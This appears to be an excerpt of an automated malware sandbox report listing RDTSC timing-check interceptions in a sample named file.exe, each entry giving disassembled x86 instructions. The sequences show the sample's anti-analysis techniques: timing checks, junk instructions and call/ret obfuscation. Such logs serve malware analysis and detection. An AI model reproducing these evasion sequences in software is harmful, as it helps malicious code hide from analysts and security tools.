Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C993EE second address: C99408 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DDDh 0x00000007 jne 00007F2D44C41DD6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99408 second address: C99416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 jnp 00007F2D44BC37D6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9983A second address: C99863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F2D44C41DD6h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F2D44C41DDEh 0x00000019 popad 0x0000001a pop eax 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99863 second address: C99867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99867 second address: C9988D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DE4h 0x00000007 jo 00007F2D44C41DD6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99B6A second address: C99B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99B70 second address: C99B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99B7B second address: C99B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C68EF7 second address: C68F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F2D44C41DD6h 0x0000000a jmp 00007F2D44C41DDEh 0x0000000f ja 00007F2D44C41DD6h 0x00000015 popad 0x00000016 js 00007F2D44C41DE1h 0x0000001c jmp 00007F2D44C41DDBh 0x00000021 push eax 0x00000022 push edx 0x00000023 push ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C68F2C second address: C68F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F2D44BC37E7h 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C68F4C second address: C68F6A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F2D44C41DE8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C68F6A second address: C68F70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C68F70 second address: C68F76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C68F76 second address: C68F7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9A294 second address: C9A298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9A9C7 second address: C9A9CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9A9CD second address: C9A9D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9C137 second address: C9C145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F2D44BC37D6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9C145 second address: C9C159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2D44C41DDFh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA192D second address: CA1931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1931 second address: CA193B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2D44C41DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA193B second address: CA196F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F2D44BC37D6h 0x00000009 jmp 00007F2D44BC37E1h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F2D44BC37E0h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0377 second address: CA0390 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0390 second address: CA0394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0394 second address: CA03A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F2D44C41DD8h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0B0A second address: CA0B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0B0E second address: CA0B1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C658F5 second address: C658FF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7FB6 second address: CA7FBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7FBA second address: CA7FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F2D44BC37E5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7FD7 second address: CA7FEE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2D44C41DD8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2D44C41DDBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7FEE second address: CA8012 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2D44BC37E4h 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8012 second address: CA801C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F2D44C41DD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8632 second address: CA8638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8638 second address: CA8648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F2D44C41DDBh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8648 second address: CA864E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA864E second address: CA8652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8652 second address: CA866C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2D44BC37D6h 0x00000008 jbe 00007F2D44BC37D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 je 00007F2D44BC37D6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA859 second address: CAA85D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA85D second address: CAA86A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2D44BC37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAAB96 second address: CAABB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F2D44C41DDCh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAABB0 second address: CAABB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAABB7 second address: CAABBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAABBD second address: CAABC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB3F8 second address: CAB3FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB48A second address: CAB496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB496 second address: CAB49A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB49A second address: CAB4A0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CABBAC second address: CABC26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b movzx edi, si 0x0000000e mov edi, dword ptr [ebp+122D387Bh] 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F2D44C41DD8h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 push 00000000h 0x00000032 sub dword ptr [ebp+122D182Bh], esi 0x00000038 jmp 00007F2D44C41DDEh 0x0000003d xchg eax, ebx 0x0000003e ja 00007F2D44C41DE7h 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 jmp 00007F2D44C41DDCh 0x0000004d pop eax 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CABC26 second address: CABC30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F2D44BC37D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAC5AB second address: CAC5AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAC466 second address: CAC470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F2D44BC37D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAEB4D second address: CAEB52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAEB52 second address: CAEB58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAEB58 second address: CAEBCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a sub esi, 3FCE51B3h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F2D44C41DD8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c pushad 0x0000002d mov ah, B3h 0x0000002f pushad 0x00000030 xor dword ptr [ebp+122D2052h], ebx 0x00000036 add edi, dword ptr [ebp+122D1BC7h] 0x0000003c popad 0x0000003d popad 0x0000003e push 00000000h 0x00000040 mov si, 70CEh 0x00000044 xchg eax, ebx 0x00000045 jng 00007F2D44C41DDEh 0x0000004b push eax 0x0000004c jp 00007F2D44C41DD6h 0x00000052 pop eax 0x00000053 push eax 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007F2D44C41DE8h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAF385 second address: CAF394 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007F2D44BC37D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB59D2 second address: CB59D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB59D7 second address: CB5A87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b jmp 00007F2D44BC37E2h 0x00000010 pop ecx 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F2D44BC37D8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c ja 00007F2D44BC37DCh 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007F2D44BC37D8h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 00000018h 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e push esi 0x0000004f jmp 00007F2D44BC37DEh 0x00000054 pop edi 0x00000055 push 00000000h 0x00000057 jmp 00007F2D44BC37E9h 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 jnc 00007F2D44BC37D6h 0x00000066 pushad 0x00000067 popad 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB68E4 second address: CB68F3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2D44C41DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5C68 second address: CB5C6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB68F3 second address: CB6905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jng 00007F2D44C41DE0h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6905 second address: CB6937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push edi 0x00000007 pop edi 0x00000008 push 00000000h 0x0000000a mov bx, 8370h 0x0000000e cmc 0x0000000f push 00000000h 0x00000011 mov ebx, dword ptr [ebp+122D1DA9h] 0x00000017 jmp 00007F2D44BC37E1h 0x0000001c push eax 0x0000001d push eax 0x0000001e jo 00007F2D44BC37DCh 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB79BE second address: CB79C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB79C4 second address: CB7A0B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov ebx, dword ptr [ebp+1245E51Bh] 0x00000011 push 00000000h 0x00000013 mov dword ptr [ebp+122D2140h], esi 0x00000019 pushad 0x0000001a push edi 0x0000001b pop edx 0x0000001c popad 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ebx 0x00000022 call 00007F2D44BC37D8h 0x00000027 pop ebx 0x00000028 mov dword ptr [esp+04h], ebx 0x0000002c add dword ptr [esp+04h], 00000019h 0x00000034 inc ebx 0x00000035 push ebx 0x00000036 ret 0x00000037 pop ebx 0x00000038 ret 0x00000039 stc 0x0000003a push eax 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6B80 second address: CB6BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F2D44C41DE3h 0x0000000b jbe 00007F2D44C41DD6h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9A77 second address: CB9A85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F2D44BC37DCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9C2B second address: CB9C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBACBB second address: CBACC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBBB96 second address: CBBBF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44C41DE5h 0x00000009 popad 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e sbb di, 2F04h 0x00000013 push 00000000h 0x00000015 jnp 00007F2D44C41DDCh 0x0000001b push 00000000h 0x0000001d jp 00007F2D44C41DF5h 0x00000023 call 00007F2D44C41DE9h 0x00000028 add bx, 4260h 0x0000002d pop edi 0x0000002e xchg eax, esi 0x0000002f push esi 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9C2F second address: CB9CDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 jl 00007F2D44BC37D8h 0x0000000e mov bl, ah 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov dword ptr [ebp+12455DC6h], edx 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 mov eax, dword ptr [ebp+122D0CFDh] 0x0000002a push 00000000h 0x0000002c push ebp 0x0000002d call 00007F2D44BC37D8h 0x00000032 pop ebp 0x00000033 mov dword ptr [esp+04h], ebp 0x00000037 add dword ptr [esp+04h], 00000017h 0x0000003f inc ebp 0x00000040 push ebp 0x00000041 ret 0x00000042 pop ebp 0x00000043 ret 0x00000044 push esi 0x00000045 jmp 00007F2D44BC37E2h 0x0000004a pop edi 0x0000004b pushad 0x0000004c call 00007F2D44BC37E6h 0x00000051 push eax 0x00000052 pop ecx 0x00000053 pop edi 0x00000054 jmp 00007F2D44BC37DDh 0x00000059 popad 0x0000005a push FFFFFFFFh 0x0000005c jmp 00007F2D44BC37E1h 0x00000061 pushad 0x00000062 mov di, 5847h 0x00000066 pushad 0x00000067 mov ax, EA51h 0x0000006b mov dword ptr [ebp+122D1BD3h], edx 0x00000071 popad 0x00000072 popad 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 push ecx 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBBBF4 second address: CBBBF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9CDF second address: CB9CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBBBF8 second address: CBBC0A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2D44C41DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBAD96 second address: CBADB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F2D44BC37D8h 0x0000000f popad 0x00000010 push eax 0x00000011 push ecx 0x00000012 ja 00007F2D44BC37DCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9CE4 second address: CB9CE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9CE9 second address: CB9CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEA6C second address: CBEA70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEA70 second address: CBEA76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEA76 second address: CBEA7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBFB22 second address: CBFB29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1C8E second address: CC1C92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1C92 second address: CC1CB5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2D44BC37D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F2D44BC37E0h 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 rdtsc
